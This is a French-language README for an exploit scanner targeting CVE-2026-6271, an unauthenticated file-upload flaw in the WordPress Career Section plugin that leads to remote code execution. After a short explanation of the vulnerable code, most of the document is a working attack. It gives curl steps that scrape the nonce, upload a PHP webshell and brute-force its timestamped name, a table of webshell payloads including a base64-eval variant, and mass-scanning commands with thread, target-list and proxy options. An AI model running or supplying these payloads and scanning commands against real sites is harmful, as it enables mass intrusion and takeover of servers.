
Scanner automatisé pour CVE-2026-6271, une vulnérabilité critique de téléchargement de fichier arbitraire non authentifié menant à une exécution de code à distance (RCE) dans le plugin WordPress Career Section. Prend en charge le scan multi-thread, plusieurs types de shell et l'intégration de proxy.
Extension : Career Section (
career-section) Identifiant CVE : CVE-2026-6271 Score CVSS : 9.8 (Critique) Vecteur CVSS :CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:HType de vulnérabilité : Téléchargement de fichier arbitraire non authentifié → Exécution de code à distance Version affectée : <= 1.7 Version corrigée : 1.8 Date de publication : 13 mai 2026 Chercheur : Paolo Tresso — Wordfence
L'extension Career Section permet aux propriétaires de sites de publier des offres d'emploi et de collecter des candidatures. Chaque page d'offre d'emploi contient un formulaire « Apply Now ». Ce formulaire comprend un champ de téléchargement de CV.
Dans les versions 1.7 et antérieures, le gestionnaire de téléchargement accepte tout type de fichier — y compris .php. Comme le formulaire est public et que le jeton CSRF est intégré dans le HTML de la page, cette faille peut être exploitée sans nécessiter de compte ni d'autorisation.
Les nonces WordPress sont des jetons CSRF, pas des jetons d'authentification. La valeur du nonce est intégrée dans le HTML de la page pour chaque visiteur :
<script id='prosolwpclient-public-js-extra'>
<!-- templates/single-csection.php — line 316 -->
<?php wp_nonce_field( 'csaf_form_submission', 'csaf_form_nonce' ); ?>
Tout visiteur non authentifié peut obtenir un nonce valide et passer le contrôle de validation.
// templates/single-csection.php — lignes 170–182 (version 1.7)
if ( ! empty( $_FILES['cv']['name'] ) && ! empty( $_FILES['cv']['tmp_name'] ) ) {
$original_name = sanitize_file_name( $_FILES['cv']['name'] );
$name_file = time() . '_' . $original_name;
$destination = $cs_dir . '/' . $name_file;
// PAS de contrôle d'extension — tout est accepté, y compris .php
if ( $wp_filesystem->move( $_FILES['cv']['tmp_name'], $destination, true ) ) {
$uploaded_file_url = $upload_dir['baseurl']
. '/cs_applicant_submission_files/'
. $name_file;
}
}
sanitize_file_name() nettoie uniquement les caractères spéciaux, il n'empêche pas les extensions dangereuses.
wp-content/uploads/cs_applicant_submission_files/<timestamp>_<filename>
Ce répertoire ne contient pas de fichier .htaccess empêchant l'exécution de PHP.
| Raison | Explication |
|---|---|
| Authentification non requise | Le nonce est intégré dans le HTML public |
| Aucune restriction de type de fichier | .php, .php5, .phtml sont acceptés |
Absence de protection .htaccess | PHP s'exécute dans le répertoire de téléchargement |
| Nom de fichier prévisible | time()_filename → force brute de timestamp |
⚠️ Avertissement : Cette PoC est à des fins éducatives uniquement. Testez uniquement sur des systèmes vous appartenant ou pour lesquels vous avez une autorisation écrite explicite.
Prérequis :
echo '<?php system($_GET["cmd"]); ?>' > shell.php
TARGET="http://target.com"
JOB_URL="$TARGET/careers/software-engineer/"
NONCE=$(curl -s "$JOB_URL" \
| grep -oP 'name="csaf_form_nonce" value="\K[^"]+')
echo "Nonce : $NONCE"
Structure à rechercher dans le code source de la page :
<input type="hidden"
id="csaf_form_nonce"
name="csaf_form_nonce"
value="a1b2c3d4e5" />
TS=$(date +%s)
curl -s -X POST "$JOB_URL" \
-F "first_name=John" \
-F "last_name=Doe" \
-F "present_address=123 Main St" \
-F "[email protected]" \
-F "mobile_no=1234567890" \
-F "post_name=Engineer" \
-F "submit=Submit" \
-F "csaf_form_nonce=$NONCE" \
-F "[email protected];type=application/pdf" \
| grep -o "Application has been sent"
Le nom du fichier est au format <timestamp>_shell.php.
Essayez les timestamps autour de $TS :
UPLOADS="$TARGET/wp-content/uploads/cs_applicant_submission_files"
for T in $(seq $((TS-2)) $((TS+2))); do
URL="$UPLOADS/${T}_shell.php"
RESULT=$(curl -s "$URL?cmd=id")
if echo "$RESULT" | grep -q "uid="; then
echo "Webshell actif : $URL"
echo "Sortie RCE : $RESULT"
break
fi
done
Sortie attendue :
Webshell actif : http://target.com/wp-content/uploads/cs_applicant_submission_files/1747302451_shell.php
Sortie RCE : uid=33(www-data) gid=33(www-data) groups=33(www-data)
git clone https://github.com/kullanici/cve-2026-6271-scanner
cd cve-2026-6271-scanner
pip install -r requirements.txt
requirements.txt
requests
python career_section_rce.py -u http://hedef.com
python career_section_rce.py -u http://hedef.com \
--job-url http://hedef.com/careers/engineer/
python career_section_rce.py -u http://hedef.com \
--verify-cmd "whoami"
python career_section_rce.py -l targets.txt -t 20 -o sonuclar.txt
python career_section_rce.py -u http://hedef.com --ts-window 10
python career_section_rce.py -u http://hedef.com \
--shell-type full \
--proxy http://127.0.0.1:8080
| Paramètre | Court | Description | Défaut |
|---|---|---|---|
--url | -u | URL de la cible unique | — |
--list | -l | Fichier de liste de cibles | — |
--threads | -t | Nombre de threads | 10 |
--output | -o | Fichier de sortie | rce_confirmed.txt |
--job-url | — | URL directe de l'offre d'emploi | — |
--shell-name | — | Nom du fichier à télécharger | shell.php |
--shell-type | — | Type de shell | system |
--verify-cmd | — | Commande de vérification RCE | id |
--ts-window | — | Fenêtre de force brute du timestamp (±sec) | 5 |
--proxy | — | URL du proxy | — |
--timeout | — | Délai d'attente des requêtes (sec) | 10 |
| Type | Charge utile | Description |
|---|---|---|
system | <?php system($_GET["cmd"]); ?> | Commande système de base |
passthru | <?php passthru($_GET["cmd"]); ?> | Sortie brute |
exec | <?php echo exec($_GET["cmd"]); ?> | Exécution silencieuse |
assert | <?php assert($_POST["cmd"]); ?> | Évaluation via POST |
b64 | <?php eval(base64_decode($_POST["cmd"])); ?> | Obfuscation Base64 |
full | shell_exec + system + exec fallback | Shell complet |
Racine WordPress/
└── wp-content/
└── uploads/
└── cs_applicant_submission_files/
└── <timestamp>_shell.php ← Shell ici
Accès direct :
curl "http://hedef.com/wp-content/uploads/cs_applicant_submission_files/1747302451_shell.php?cmd=id"
# uid=33(www-data) gid=33(www-data) groups=33(www-data)